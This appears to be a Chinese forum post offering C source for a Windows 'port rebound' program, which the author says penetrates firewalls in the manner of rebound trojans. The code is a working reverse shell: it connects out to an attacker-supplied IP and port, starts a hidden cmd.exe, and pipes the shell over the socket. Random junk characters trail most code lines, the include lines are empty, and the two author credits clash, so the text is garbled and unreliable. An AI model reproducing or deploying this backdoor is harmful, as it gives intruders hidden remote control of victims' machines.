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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 TQnMPELh"  
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/* ============================== w3yI;P  
Rebound port in Windows NT [g<6i.<I  
By wind,2006/7 0~^opNR  
===============================*/ [nflQW6  
#include =zI eZ7  
#include b]*9![_  
<Ep P;  
#pragma comment(lib,"wsock32.lib") (u$Q  
zFv>'1$  
void OutputShell(); 2&5"m;<  
SOCKET sClient; {mueP6Gz@J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (obeEH5J  
}HXNhv-K  
void main(int argc,char **argv) ]M= 3Sn8}  
{ =">O;L.xj  
WSADATA stWsaData; .eJ4F-V  
int nRet; Vh'H5v^  
SOCKADDR_IN stSaiClient,stSaiServer; wRUpQ~=B2  
j;<;?IW  
if(argc != 3) RCgs3JIE+2  
{ ,=z8aiUu  
printf("Useage:\n\rRebound DestIP DestPort\n"); w9z((\5  
return; =|uX?  
} WFLT[j!1  
3pq&TYQU  
WSAStartup(MAKEWORD(2,2),&stWsaData); ~fQ#-ekzqk  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7eh}Je8  
QbS w<V  
stSaiClient.sin_family = AF_INET; S{J$[!F  
stSaiClient.sin_port = htons(0); %.<w8ag  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);  aA0aW=R  
eK3J9 ;X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !XgkK k  
{ hv7!x=?8  
printf("Bind Socket Failed!\n"); 1LcQ*d  
return; ggX'`bK  
} I[&z#foN=w  
,R*ru*  
stSaiServer.sin_family = AF_INET; .qF@ }dO  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ]y!|x_5c3  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m"@M~~bh  
/[_>U{~P#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $Ne#F+M9x  
{ `EV[uj&1S  
printf("Connect Error!"); k(hes3JV  
return; N6yqA)z?;  
} {f)",#  
OutputShell(); {P-KU RQ  
} }^P(p?~  
-Z]?v3 9  
void OutputShell() sa*]q~ a  
{ jskATA /  
char szBuff[1024]; j3z&0sc2(0  
SECURITY_ATTRIBUTES stSecurityAttributes; i>0I '~V  
OSVERSIONINFO stOsversionInfo; 4z[Z3|_V  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r"J1C  
STARTUPINFO stStartupInfo; j}S  
char *szShell; )Q(tryiSi  
PROCESS_INFORMATION stProcessInformation; Uj6R?E{Jt  
unsigned long lBytesRead; (zye Ch  
^|as]x!sv  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0>Ecm#  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *1}9`$  
stSecurityAttributes.lpSecurityDescriptor = 0; a*74FVZo.;  
stSecurityAttributes.bInheritHandle = TRUE; jcFh2  
. |KxQn}  
vF3>nN(]  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yq\)8Fe  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); LK/gG6n5M0  
\L6U}ZQ2V  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6"eGd"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KdYT5VUM/  
stStartupInfo.wShowWindow = SW_HIDE; t3v*P6  
stStartupInfo.hStdInput = hReadPipe; *sB=Ys?  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Ri aO`|1  
D-A#{e _  
GetVersionEx(&stOsversionInfo); pShSK Rg  
`=b*g24z[N  
switch(stOsversionInfo.dwPlatformId) mmr>"`5.  
{ $* 8c0.{U  
case 1: E9%xSMS8@  
szShell = "command.com"; {Kd9}CDAZ  
break; FhAuTZk  
default: v?n`kw  
szShell = "cmd.exe"; ZEUd?"gaR  
break; ]Fl+^aLS  
} 4 lJ@qhV  
dFo9O!YX[f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pRUN [[L  
z=BX-)  
send(sClient,szMsg,77,0); = J).(E89  
while(1) ^7F!>!9Ca  
{ 1}KNzMHk9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PFUb\AY  
if(lBytesRead) ?VS {,"X  
{ zUIh8cAoE  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Z UAWSJ,s  
send(sClient,szBuff,lBytesRead,0); sB-c'`,w`  
} g4RkkoZ>)  
else |3Oe2qb  
{ QVn!60[lj  
lBytesRead=recv(sClient,szBuff,1024,0); ~=Er= 0  
if(lBytesRead<=0) break; |@Q(~[It  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  .;iXe  
} 4xe:+sA.N  
} `H+ 7Hj  
ZRD* ^9)  
return; CHN!o9f  
}
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